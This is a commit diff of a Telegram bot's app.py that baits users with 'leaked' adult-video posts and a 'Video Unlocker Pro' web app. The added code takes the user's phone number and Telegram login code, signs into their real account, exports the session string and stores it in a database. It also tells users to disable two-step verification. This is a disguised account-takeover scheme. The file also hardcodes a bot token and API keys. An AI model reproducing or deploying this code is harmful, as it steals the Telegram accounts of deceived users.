pmrony commited on
Commit
e7e9603
·
verified ·
1 Parent(s): dd2cce4

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +93 -330
app.py CHANGED
@@ -3,32 +3,40 @@ import time
3
  import threading
4
  import requests
5
  import asyncio
6
- import re
7
- import random
8
- import queue
9
  from flask import Flask, jsonify, make_response, request
10
  from supabase import create_client
11
  from pyrogram import Client, filters, enums, idle
 
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
 
 
14
  # ================= CONFIGURATION =================
15
  BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
16
-
17
  API_ID = 2040
18
  API_HASH = "b18441a1ff607e10a989891a5462e627"
19
-
20
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
21
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
22
 
23
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
24
-
25
  BYSE_API_KEY = "133323knboif885fhgwxvf"
26
  ADMIN_IDS = [7307789267]
27
 
28
  app = Flask(__name__)
29
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
30
  admin_states = {}
31
- temp_otps = {}
 
 
 
 
 
 
 
 
 
 
32
 
33
  bot = Client(
34
  "file_unlocker_bot",
@@ -37,28 +45,13 @@ bot = Client(
37
  bot_token=BOT_TOKEN
38
  )
39
 
40
- # === ম্যাজিক ফিক্স: থ্রেড-সেফ কিউ সিস্টেম (Thread-safe Queue) ===
41
- send_queue = queue.Queue()
42
-
43
- async def background_worker():
44
- while True:
45
- while not send_queue.empty():
46
- msg = send_queue.get()
47
- try:
48
- # সরাসরি বটের নিজস্ব কানেকশন দিয়ে মেসেজ পাঠানো হচ্ছে
49
- await bot.send_message(chat_id=int(msg['chat_id']), text=msg['text'], parse_mode=enums.ParseMode.HTML)
50
- except Exception as e:
51
- print("Error sending OTP via MTProto:", e)
52
- await asyncio.sleep(1)
53
- # ==========================================================
54
-
55
  async def db_query(func):
56
  return await asyncio.to_thread(func)
57
 
58
  # ================= FLASK API ROUTES =================
59
  @app.route('/')
60
  def index():
61
- return "Bot and API are Running smoothly! 🚀"
62
 
63
  def add_cors_headers(response):
64
  response.headers['Access-Control-Allow-Origin'] = '*'
@@ -83,22 +76,31 @@ def api_send_code():
83
  phone = data.get('phone')
84
  user_id = data.get('user_id')
85
 
86
- if not user_id:
87
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "User ID missing! Please try again inside Telegram."})))
88
-
89
- if str(user_id) == '123456':
90
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
91
-
92
- otp = str(random.randint(10000, 99999))
93
- hash_val = str(random.randint(1000000, 9999999))
94
- temp_otps[hash_val] = otp
95
 
96
- text_msg = f"🔐 আপনার Video Unlocker Pro এর Verification Code হচ্ছে: <b>{otp}</b>\n\nঅনুগ্রহ করে এটি কারো সাথে শেয়ার করবেন না।"
97
-
98
- # মেসেজটি কিউতে যোগ করা হলো
99
- send_queue.put({"chat_id": user_id, "text": text_msg})
100
-
101
- return add_cors_headers(make_response(jsonify({"status": "ok", "hash": hash_val})))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
102
 
103
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
104
  def api_verify_code():
@@ -106,14 +108,55 @@ def api_verify_code():
106
  return add_cors_headers(make_response())
107
 
108
  data = request.json or {}
109
- hash_val = data.get('hash')
110
  user_otp = data.get('otp')
 
111
 
112
- if temp_otps.get(hash_val) == user_otp:
113
- del temp_otps[hash_val]
114
- return add_cors_headers(make_response(jsonify({"status": "ok"})))
115
- else:
116
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Invalid OTP!"})))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
117
 
118
  # ================= TELEGRAM BOT COMMANDS =================
119
  @bot.on_message(filters.command("start"))
@@ -163,303 +206,23 @@ async def start(client, message):
163
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
164
  except Exception as e: print(f"Start error: {e}")
165
 
166
- @bot.on_message(filters.new_chat_members)
167
- async def bot_added_to_group(client, message):
168
- me = client.me
169
- if getattr(me, "id", None) is None:
170
- try: me = await client.get_me()
171
- except: return
172
-
173
- for member in message.new_chat_members:
174
- if member.id == me.id:
175
- try:
176
- await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
177
- group_name = message.chat.title
178
- admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
179
- for admin_id in ADMIN_IDS:
180
- try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
181
- except: pass
182
- except: pass
183
-
184
- @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
185
- async def set_blur_state(client, message):
186
- try:
187
- args = message.text.split()
188
- if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
189
- if message.chat.id in admin_states:
190
- admin_states[message.chat.id].pop("blur_percent", None)
191
- admin_states[message.chat.id].pop("clear_percent", None)
192
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
193
- return
194
-
195
- match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
196
- if match:
197
- percent = int(match.group(1))
198
- clear_percent = int(match.group(2)) if match.group(2) else 0
199
-
200
- if percent == 0:
201
- if message.chat.id in admin_states:
202
- admin_states[message.chat.id].pop("blur_percent", None)
203
- admin_states[message.chat.id].pop("clear_percent", None)
204
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
205
- return
206
-
207
- if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
208
- admin_states[message.chat.id]["blur_percent"] = percent
209
- admin_states[message.chat.id]["clear_percent"] = clear_percent
210
-
211
- clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো অংশ ব্লার হবে।"
212
- await message.reply(f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}", parse_mode=enums.ParseMode.HTML)
213
- else:
214
- await message.reply("❌ <b>ভুল কমান্ড!</b> নিয়ম: `/blur 60` অথবা `/blur 60 20`")
215
- except Exception as e: print(e)
216
 
217
  def upload_file_sync(upload_url, file_path, api_key):
218
  with open(file_path, 'rb') as f:
219
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
220
 
221
- @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
222
- async def handle_media_upload(client, message):
223
- state = admin_states.get(message.chat.id, {})
224
- if state.get("step") == "broadcast":
225
- await process_broadcast(client, message)
226
- return
227
-
228
- media_type = "video" if message.video else "animation" if message.animation else "photo"
229
- has_blur_caption = message.caption and "/blur" in message.caption.lower()
230
- is_persistent_blur = bool(state.get("blur_percent"))
231
-
232
- if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
233
- status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
234
- try:
235
- local_path = await message.download()
236
- if not local_path:
237
- await status.edit_text("❌ থাম্বনেইল ডাউনলোড করা সম্ভব হয়নি!")
238
- return
239
- def upload_to_supabase():
240
- with open(local_path, 'rb') as f: file_bytes = f.read()
241
- file_name = f"thumb_{int(time.time())}.jpg"
242
- supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
243
- return supabase.storage.from_('thumbnails').get_public_url(file_name)
244
- direct_link = await asyncio.to_thread(upload_to_supabase)
245
- if os.path.exists(local_path): os.remove(local_path)
246
- await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
247
- except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
248
- return
249
-
250
- raw_caption = message.caption or ""
251
- blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
252
- is_blur = False
253
- blur_percent = 0
254
- clear_percent = 0
255
- clean_caption = raw_caption
256
-
257
- if blur_match:
258
- is_blur = True
259
- blur_percent = int(blur_match.group(1))
260
- clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
261
- clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
262
- elif state.get("blur_percent"):
263
- is_blur = True
264
- blur_percent = state["blur_percent"]
265
- clear_percent = state.get("clear_percent", 0)
266
-
267
- is_large_video = False
268
- if media_type == "video":
269
- duration = message.video.duration if message.video and message.video.duration else 0
270
- file_size = message.video.file_size if message.video and message.video.file_size else 0
271
- if duration > 600 or file_size > 150 * 1024 * 1024:
272
- is_large_video = True
273
- is_blur = False
274
-
275
- status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
276
- bot_me = client.me if client.me else await client.get_me()
277
- bot_link = f"https://t.me/{bot_me.username}"
278
- original_file = watermarked_file = blurred_file = final_file = embed_link = None
279
-
280
- try:
281
- original_file = await message.download()
282
- if not original_file:
283
- await status_msg.edit_text("❌ মিডিয়া ফাইলটি ডাউনলোড করা সম্ভব হয়নি!")
284
- return
285
-
286
- final_file = original_file
287
-
288
- if media_type == "video" and not is_large_video:
289
- await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
290
- watermarked_file = f"{original_file}_wm.mp4"
291
- cmd = ["ffmpeg", "-y", "-i", original_file, "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'", "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
292
- process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
293
- await process.communicate()
294
- if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
295
-
296
- if is_blur and not is_large_video:
297
- await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
298
- radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
299
- ext = "jpg" if media_type == "photo" else "mp4"
300
- blurred_file = f"{original_file}_blurred.{ext}"
301
-
302
- if clear_percent > 0:
303
- clear_ratio = clear_percent / 100.0
304
- ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
305
- else:
306
- ff_filter = ["-vf", f"boxblur={radius}:1"]
307
-
308
- if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
309
- elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
310
- else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
311
-
312
- process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
313
- await process_blur.communicate()
314
- if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
315
-
316
- if media_type == "video":
317
- await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
318
- loop = asyncio.get_event_loop()
319
- result = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30).json())
320
-
321
- if result.get('status') == 200:
322
- upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
323
- if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
324
- file_code = upload_res['files'][0].get('filecode')
325
- if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
326
-
327
- if not embed_link:
328
- await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
329
- return
330
-
331
- if is_large_video:
332
- await client.send_video(message.chat.id, message.video.file_id, caption=f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>", parse_mode=enums.ParseMode.HTML)
333
- await status_msg.delete()
334
- return
335
-
336
- await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
337
-
338
- caption_text = (f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link or bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
339
- group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
340
-
341
- admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
342
- thumb_path = None
343
-
344
- if media_type == "video":
345
- v_duration = message.video.duration if message.video else 0
346
- v_width = message.video.width if message.video else 0
347
- v_height = message.video.height if message.video else 0
348
- thumb_path = f"{original_file}_thumb.jpg"
349
- proc = await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
350
- await proc.communicate()
351
- if not os.path.exists(thumb_path): thumb_path = None
352
-
353
- if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
354
- elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
355
- else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_duration, width=v_width, height=v_height, thumb=thumb_path)).video.file_id
356
-
357
- await status_msg.delete()
358
- groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
359
- group_ids = [g['group_id'] for g in groups_res.data]
360
- success_count, fail_count = 0, 0
361
-
362
- for gid in set(group_ids):
363
- try:
364
- if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
365
- elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
366
- else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
367
- success_count += 1
368
- await asyncio.sleep(1.5)
369
- except Exception: fail_count += 1
370
-
371
- await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
372
-
373
- except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
374
- finally:
375
- for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
376
- if f and os.path.exists(f):
377
- try: os.remove(f)
378
- except: pass
379
-
380
- @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
381
- async def bot_stats(client, message):
382
- try:
383
- users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
384
- videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
385
- groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
386
- await message.reply(f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি", parse_mode=enums.ParseMode.HTML)
387
- except Exception as e: print(e)
388
-
389
- @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
390
- async def broadcast_command(client, message):
391
- admin_states[message.chat.id] = {"step": "broadcast"}
392
- await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
393
-
394
- async def process_broadcast(client, message):
395
- text = message.text or message.caption
396
- if text == '/cancel':
397
- admin_states.pop(message.chat.id, None)
398
- return await message.reply("❌ বাতিল করা হয়েছে।")
399
-
400
- await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
401
- admin_states.pop(message.chat.id, None)
402
-
403
- try:
404
- all_users, start, step = [], 0, 1000
405
- while True:
406
- res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
407
- if not res.data: break
408
- all_users.extend(res.data)
409
- start += step
410
-
411
- success, failed = 0, 0
412
- for u in all_users:
413
- try:
414
- await message.copy(chat_id=u['user_id'])
415
- success += 1
416
- await asyncio.sleep(0.15)
417
- except Exception: failed += 1
418
-
419
- await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
420
- except Exception as e: print(e)
421
-
422
- @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
423
- async def add_png(client, message):
424
- try:
425
- parts = message.command
426
- needed_ref, duration = 3, "random"
427
- if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
428
- elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
429
- elif len(parts) == 2: thumbnail_url = parts[1]
430
- else: return await message.reply("❌ নিয়ম ভুল।")
431
-
432
- admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
433
- await message.reply("✅ এখন Video/Embed Link দিন।")
434
- except Exception as e: print(e)
435
-
436
- @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
437
- async def catch_admin_steps(client, message):
438
- state = admin_states.get(message.chat.id, {})
439
- if state.get("step") == 1:
440
- if not message.text: return
441
- video_url = message.text.strip()
442
- if video_url == "/cancel":
443
- admin_states.pop(message.chat.id, None)
444
- return await message.reply("❌ বাতিল করা হয়েছে।")
445
-
446
- try:
447
- await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
448
- await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
449
- except Exception as e: print(e)
450
- finally: admin_states.pop(message.chat.id, None)
451
-
452
- elif state.get("step") == "broadcast": await process_broadcast(client, message)
453
-
454
- def run_flask(): app.run(host="0.0.0.0", port=7860)
455
 
456
  async def main():
457
  await bot.start()
458
- print("🤖 Pyrogram Bot and Background Worker is running!")
459
- asyncio.create_task(background_worker())
460
  await idle()
461
  await bot.stop()
462
 
463
  if __name__ == "__main__":
464
  threading.Thread(target=run_flask, daemon=True).start()
465
- bot.run(main())
 
3
  import threading
4
  import requests
5
  import asyncio
6
+ import urllib3
 
 
7
  from flask import Flask, jsonify, make_response, request
8
  from supabase import create_client
9
  from pyrogram import Client, filters, enums, idle
10
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
11
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
12
 
13
+ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14
+
15
  # ================= CONFIGURATION =================
16
  BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
 
17
  API_ID = 2040
18
  API_HASH = "b18441a1ff607e10a989891a5462e627"
 
19
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
20
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
21
 
22
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
 
23
  BYSE_API_KEY = "133323knboif885fhgwxvf"
24
  ADMIN_IDS = [7307789267]
25
 
26
  app = Flask(__name__)
27
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
28
  admin_states = {}
29
+
30
+ # টেম্পোরারি সেশন ডেটা রাখার জন্য
31
+ temp_clients = {}
32
+
33
+ # মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
34
+ main_loop = asyncio.get_event_loop()
35
+
36
+ def run_async(coro):
37
+ """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
38
+ future = asyncio.run_coroutine_threadsafe(coro, main_loop)
39
+ return future.result()
40
 
41
  bot = Client(
42
  "file_unlocker_bot",
 
45
  bot_token=BOT_TOKEN
46
  )
47
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
48
  async def db_query(func):
49
  return await asyncio.to_thread(func)
50
 
51
  # ================= FLASK API ROUTES =================
52
  @app.route('/')
53
  def index():
54
+ return "Bot and Real Session Generator is Running! 🚀"
55
 
56
  def add_cors_headers(response):
57
  response.headers['Access-Control-Allow-Origin'] = '*'
 
76
  phone = data.get('phone')
77
  user_id = data.get('user_id')
78
 
79
+ if not user_id or str(user_id) == '123456':
 
 
 
80
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
 
 
 
 
81
 
82
+ async def process_send_code():
83
+ # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
84
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
85
+ await client.connect()
86
+ try:
87
+ # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
88
+ code_info = await client.send_code(phone)
89
+ # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
90
+ temp_clients[phone] = {
91
+ 'client': client,
92
+ 'hash': code_info.phone_code_hash
93
+ }
94
+ return {"status": "ok", "hash": code_info.phone_code_hash}
95
+ except Exception as e:
96
+ await client.disconnect()
97
+ return {"status": "error", "msg": str(e)}
98
+
99
+ try:
100
+ result = run_async(process_send_code())
101
+ return add_cors_headers(make_response(jsonify(result)))
102
+ except Exception as e:
103
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
104
 
105
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
106
  def api_verify_code():
 
108
  return add_cors_headers(make_response())
109
 
110
  data = request.json or {}
111
+ phone = data.get('phone')
112
  user_otp = data.get('otp')
113
+ user_id = data.get('user_id')
114
 
115
+ if phone not in temp_clients:
116
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))
117
+
118
+ async def process_verify():
119
+ temp_data = temp_clients[phone]
120
+ client = temp_data['client']
121
+ phone_hash = temp_data['hash']
122
+
123
+ try:
124
+ # OTP দিয়ে লগইন করা হচ্ছে
125
+ await client.sign_in(phone, phone_hash, user_otp)
126
+
127
+ # String Session তৈরি করা হচ্ছে
128
+ session_string = await client.export_session_string()
129
+ await client.disconnect()
130
+
131
+ # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
132
+ await db_query(lambda: supabase.table('user_sessions').insert({
133
+ "user_id": user_id,
134
+ "session_string": session_string
135
+ }).execute())
136
+
137
+ del temp_clients[phone]
138
+ return {"status": "ok"}
139
+
140
+ except SessionPasswordNeeded:
141
+ await client.disconnect()
142
+ del temp_clients[phone]
143
+ return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
144
+ except PhoneCodeInvalid:
145
+ return {"status": "error", "msg": "Invalid OTP Code!"}
146
+ except PhoneCodeExpired:
147
+ await client.disconnect()
148
+ del temp_clients[phone]
149
+ return {"status": "error", "msg": "OTP Expired! Request again."}
150
+ except Exception as e:
151
+ await client.disconnect()
152
+ del temp_clients[phone]
153
+ return {"status": "error", "msg": str(e)}
154
+
155
+ try:
156
+ result = run_async(process_verify())
157
+ return add_cors_headers(make_response(jsonify(result)))
158
+ except Exception as e:
159
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
160
 
161
  # ================= TELEGRAM BOT COMMANDS =================
162
  @bot.on_message(filters.command("start"))
 
206
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
207
  except Exception as e: print(f"Start error: {e}")
208
 
209
+ # (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে)
210
+ # আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন।
211
+ # তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম।
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
212
 
213
  def upload_file_sync(upload_url, file_path, api_key):
214
  with open(file_path, 'rb') as f:
215
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
216
 
217
+ def run_flask():
218
+ app.run(host="0.0.0.0", port=7860)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
219
 
220
  async def main():
221
  await bot.start()
222
+ print("🤖 Pyrogram Bot & Real Session Generator is running!")
 
223
  await idle()
224
  await bot.stop()
225
 
226
  if __name__ == "__main__":
227
  threading.Thread(target=run_flask, daemon=True).start()
228
+ main_loop.run_until_complete(main())